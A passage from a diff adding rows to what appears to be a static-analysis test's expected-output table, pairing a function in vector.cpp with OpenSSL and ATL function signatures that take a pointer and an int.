ASYNC_WAIT_CTX_set_status | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (BIGNUM *,int) | | BN_clear_bit | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (BIGNUM *,int) | | BN_mask_bits | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (BIGNUM *,int) | | BN_set_bit | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (BIGNUM *,int) | | BN_set_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (BIGNUM *,int) | | bn_expand2 | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (BIGNUM *,int) | | bn_wexpand | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (BIGNUM *,int) | | ossl_bn_mask_bits_fixed_top | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (BIO *,int) | | BIO_clear_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (BIO *,int) | | BIO_find_type | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (BIO *,int) | | BIO_set_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (BIO *,int) | | BIO_set_init | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (BIO *,int) | | BIO_set_retry_reason | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (BIO *,int) | | BIO_set_shutdown | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (BIO *,int) | | TXT_DB_read | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (CMS_SignerInfo *,int) | | CMS_signed_delete_attr | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (CMS_SignerInfo *,int) | | CMS_unsigned_delete_attr | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (DH *,int) | | DH_clear_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (DH *,int) | | DH_set_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (DH_METHOD *,int) | | DH_meth_set_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (DSA *,int) | | DSA_clear_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (DSA *,int) | | DSA_set_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (DSA_METHOD *,int) | | DSA_meth_set_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EC_GROUP *,int) | | EC_GROUP_set_asn1_flag | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EC_GROUP *,int) | | EC_GROUP_set_curve_name | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EC_KEY *,int) | | EC_KEY_clear_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EC_KEY *,int) | | EC_KEY_set_asn1_flag | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EC_KEY *,int) | | EC_KEY_set_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (ENGINE *,int) | | ENGINE_cmd_is_executable | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (ENGINE *,int) | | ENGINE_set_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_impl_ctx_size | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_iv_length | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_clear_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_key_length | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_num | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_KEYMGMT *,int) | | evp_keymgmt_util_query_operation_name | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_MD *,int) | | EVP_MD_meth_set_app_datasize | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_MD *,int) | | EVP_MD_meth_set_input_blocksize | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_MD *,int) | | EVP_MD_meth_set_result_size | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_MD_CTX *,int) | | EVP_MD_CTX_clear_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_MD_CTX *,int) | | EVP_MD_CTX_set_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_PKEY *,int) | | EVP_PKEY_delete_attr | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_PKEY *,int) | | EVP_PKEY_save_parameters | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_PKEY *,int) | | EVP_PKEY_set_type | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_get_keygen_info | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_kdf_type | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_nid | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_paramgen_type | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_rfc5114 | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dhx_rfc5114 | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_param_enc | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_paramgen_curve_nid | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ecdh_kdf_type | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_hkdf_mode | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_padding | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_pss_saltlen | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (FFC_PARAMS *,int) | | ossl_ffc_params_set_gindex | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (FFC_PARAMS *,int) | | ossl_ffc_params_set_h | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (FFC_PARAMS *,int) | | ossl_ffc_params_set_pcounter | 1 | | vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (LPCOLESTR,int) | CComBSTR | Append | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_delete_ext | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_get_ext | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OCSP_BASICRESP *,int) | | OCSP_resp_get0 | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_delete_ext | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_get_ext | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OCSP_REQUEST *,int) | | OCSP_REQUEST_delete_ext | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OCSP_REQUEST *,int) | | OCSP_REQUEST_get_ext | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OCSP_REQUEST *,int) | | OCSP_request_onereq_get0 | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_delete_ext | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_get_ext | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OPENSSL_STACK *,int) | | OPENSSL_sk_delete | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OPENSSL_STACK *,int) | | OPENSSL_sk_reserve | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OPENSSL_sk_compfunc,int) | | OPENSSL_sk_new_reserve | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_deadline | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_frame | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_ACKM *,int) | | ossl_ackm_get_largest_acked | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_ACKM *,int) | | ossl_ackm_on_pkt_space_discarded | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_set_serverPort | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_failInfoCode | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_status | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_CMP_CTX *,int) | | ossl_cmp_msg_create | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_CMP_CTX *,int) | | ossl_cmp_pollReq_new | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_CMP_MSG *,int) | | ossl_cmp_msg_set_bodytype | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_CMP_PKIHEADER *,int) | | ossl_cmp_hdr_set_pvno | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_CertId | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_pkisi | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_raverified | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_unprotected | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_grant_implicit_confirm | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_send_unprotected_errors | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_CRMF_PKIPUBLICATIONINFO *,int) | | OSSL_CRMF_MSG_set_PKIPublicationInfo_action | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_DECODER_CTX *,int) | | OSSL_DECODER_CTX_set_selection | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_ENCODER_CTX *,int) | | OSSL_ENCODER_CTX_set_selection | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_get_data | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_set_conf_diagnostics | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_LIB_CTX *,int) | | ossl_ctx_global_properties | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_LIB_CTX *,int) | | ossl_dh_new_by_nid_ex | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_LIB_CTX *,int) | | ossl_lib_ctx_get_data | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_LIB_CTX *,int) | | ossl_mac_key_new | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_PARAM *,int) | | OSSL_PARAM_set_int | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_QRX *,int) | | ossl_qrx_get_bytes_received | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_RECORD_LAYER *,int) | | tls_set_first_handshake | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_RECORD_LAYER *,int) | | tls_set_plain_alerts | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_STORE_CTX *,int) | | OSSL_STORE_expect | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (PKCS7 *,int) | | PKCS7_set_type | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (QUIC_CHANNEL *,int) | | ossl_quic_channel_new_stream_local | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (QUIC_ENGINE *,int) | | ossl_quic_engine_set_inhibit_tick | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (QUIC_PORT *,int) | | ossl_quic_port_set_allow_incoming | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (QUIC_RCIDM *,int) | | ossl_quic_rcidm_get_preferred_tx_dcid_changed | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (QUIC_RSTREAM *,int) | | ossl_quic_rstream_set_cleanse | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (QUIC_RXFC *,int) | | ossl_quic_rxfc_get_error | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (QUIC_RXFC *,int) | | ossl_quic_rxfc_has_cwm_changed | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (QUIC_SSTREAM *,int) | | ossl_quic_sstream_set_cleanse | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (QUIC_STREAM_MAP *,int) | | ossl_quic_stream_map_get_accept_queue_len | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (QUIC_TXFC *,int) | | ossl_quic_txfc_has_become_blocked | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (RSA *,int) | | RSA_clear_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (RSA *,int) | | RSA_set_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (RSA_METHOD *,int) | | RSA_meth_set_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_hashalg | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_maskgenhashalg | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_saltlen | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_trailerfield | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (SSL *,int) | | SSL_key_update | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (SSL *,int) | | SSL_set_post_handshake_auth | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (SSL *,int) | | SSL_set_purpose | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (SSL *,int) | | SSL_set_quic_tls_early_data_enabled | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (SSL *,int) | | SSL_set_quiet_shutdown | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (SSL *,int) | | SSL_set_read_ahead | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (SSL *,int) | | SSL_set_security_level | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (SSL *,int) | | SSL_set_shutdown | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (SSL *,int) | | SSL_set_trust | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (SSL *,int) | | SSL_set_verify_depth | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (SSL_CONNECTION *,int) | | dtls1_read_failed | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (SSL_CONNECTION *,int) | | ossl_statem_send_fatal | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (SSL_CONNECTION *,int) | | ossl_statem_set_in_init | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (SSL_CONNECTION *,int) | | tls1_shared_group | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (SSL_CTX *,int) | | SSL_CTX_set_post_handshake_auth | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (SSL_CTX *,int) | | SSL_CTX_set_purpose | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (SSL_CTX *,int) | | SSL_CTX_set_quiet_shutdown | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (SSL_CTX *,int) | | SSL_CTX_set_security_level | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (SSL_CTX *,int) | | SSL_CTX_set_srp_strength | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (SSL_CTX *,int) | | SSL_CTX_set_trust | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (SSL_CTX *,int) | | SSL_CTX_set_verify_depth | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (SSL_CTX *,int) | | ssl_md | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (SSL_SESSION *,int) | | SSL_SESSION_set_protocol_version | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (TS_REQ *,int) | | TS_REQ_delete_ext | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (TS_REQ *,int) | | TS_REQ_get_ext | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (TS_RESP_CTX *,int) | | TS_RESP_CTX_add_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (TS_STATUS_INFO *,int) | | TS_STATUS_INFO_set_status | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (TS_TST_INFO *,int) | | TS_TST_INFO_delete_ext | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (TS_TST_INFO *,int) | | TS_TST_INFO_get_ext | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_add_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_set_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (WPACKET *,int) | | ossl_DER_w_begin_sequence | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (X509 *,int) | | X509_delete_ext | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (X509 *,int) | | X509_self_signed | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (X509_ACERT *,int) | | X509_ACERT_delete_attr | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (X509_ATTRIBUTE *,int) | | X509_ATTRIBUTE_get0_type | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (X509_CRL *,int) | | X509_CRL_delete_ext | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (X509_NAME *,int) | | X509_NAME_delete_entry | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (X509_REQ *,int) | | X509_REQ_delete_attr | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (X509_REVOKED *,int) | | X509_REVOKED_delete_ext | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (X509_STORE *,int) | | X509_STORE_set_depth | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (X509_STORE *,int) | | X509_STORE_set_purpose | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (X509_STORE *,int) | | X509_STORE_set_trust | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_depth | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error_depth | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_purpose | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_trust | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_get0_host | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_auth_level | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_depth | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_purpose | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_trust | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (acttab *,int) | | acttab_insert | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (char *,int) | | PEM_proc_type | 1 | | vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (char,int) | CStringT | CStringT | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const ASN1_BIT_STRING *,int) | | ASN1_BIT_STRING_get_bit | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const BIGNUM *,int) | | BN_get_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const BIGNUM *,int) | | BN_is_bit_set | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const BIO *,int) | | BIO_get_ex_data | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const BIO *,int) | | BIO_test_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const CMS_SignerInfo *,int) | | CMS_signed_get_attr | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const CMS_SignerInfo *,int) | | CMS_unsigned_get_attr | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const CRYPTO_EX_DATA *,int) | | CRYPTO_get_ex_data | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const DH *,int) | | DH_get_ex_data | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const DH *,int) | | DH_test_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const DH *,int) | | ossl_dh_dup | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const DSA *,int) | | DSA_get_ex_data | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const DSA *,int) | | DSA_test_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const DSA *,int) | | ossl_dsa_dup | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const ECX_KEY *,int) | | ossl_ecx_key_dup | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const EC_KEY *,int) | | EC_KEY_get_ex_data | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const EC_KEY *,int) | | ossl_ec_key_dup | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const ENGINE *,int) | | ENGINE_get_ex_data | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_test_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const EVP_MD_CTX *,int) | | EVP_MD_CTX_test_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const EVP_PKEY *,int) | | EVP_PKEY_get_attr | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const EVP_PKEY *,int) | | EVP_PKEY_get_ex_data | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const ML_DSA_KEY *,int) | | ossl_ml_dsa_key_dup | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const ML_KEM_KEY *,int) | | ossl_ml_kem_key_dup | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const OPENSSL_STACK *,int) | | OPENSSL_sk_value | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const OSSL_CMP_CERTREPMESSAGE *,int) | | ossl_cmp_certrepmessage_get0_certresponse | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get0_newPkey | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get_option | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const OSSL_CMP_PKISI *,int) | | ossl_cmp_pkisi_check_pkifailureinfo | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const OSSL_CMP_POLLREPCONTENT *,int) | | ossl_cmp_pollrepcontent_get0_pollrep | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_local_stream_count_avail | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_remote_stream_count_avail | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const RSA *,int) | | RSA_get_ex_data | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const RSA *,int) | | RSA_test_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const RSA *,int) | | ossl_rsa_dup | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const SLH_DSA_KEY *,int) | | ossl_slh_dsa_key_dup | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const SSL *,int) | | SSL_get_ex_data | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const SSL_CTX *,int) | | SSL_CTX_get_ex_data | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const SSL_SESSION *,int) | | SSL_SESSION_get_ex_data | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const SSL_SESSION *,int) | | ssl_session_dup | 1 | +| vector.cpp:333:6:333:35 | 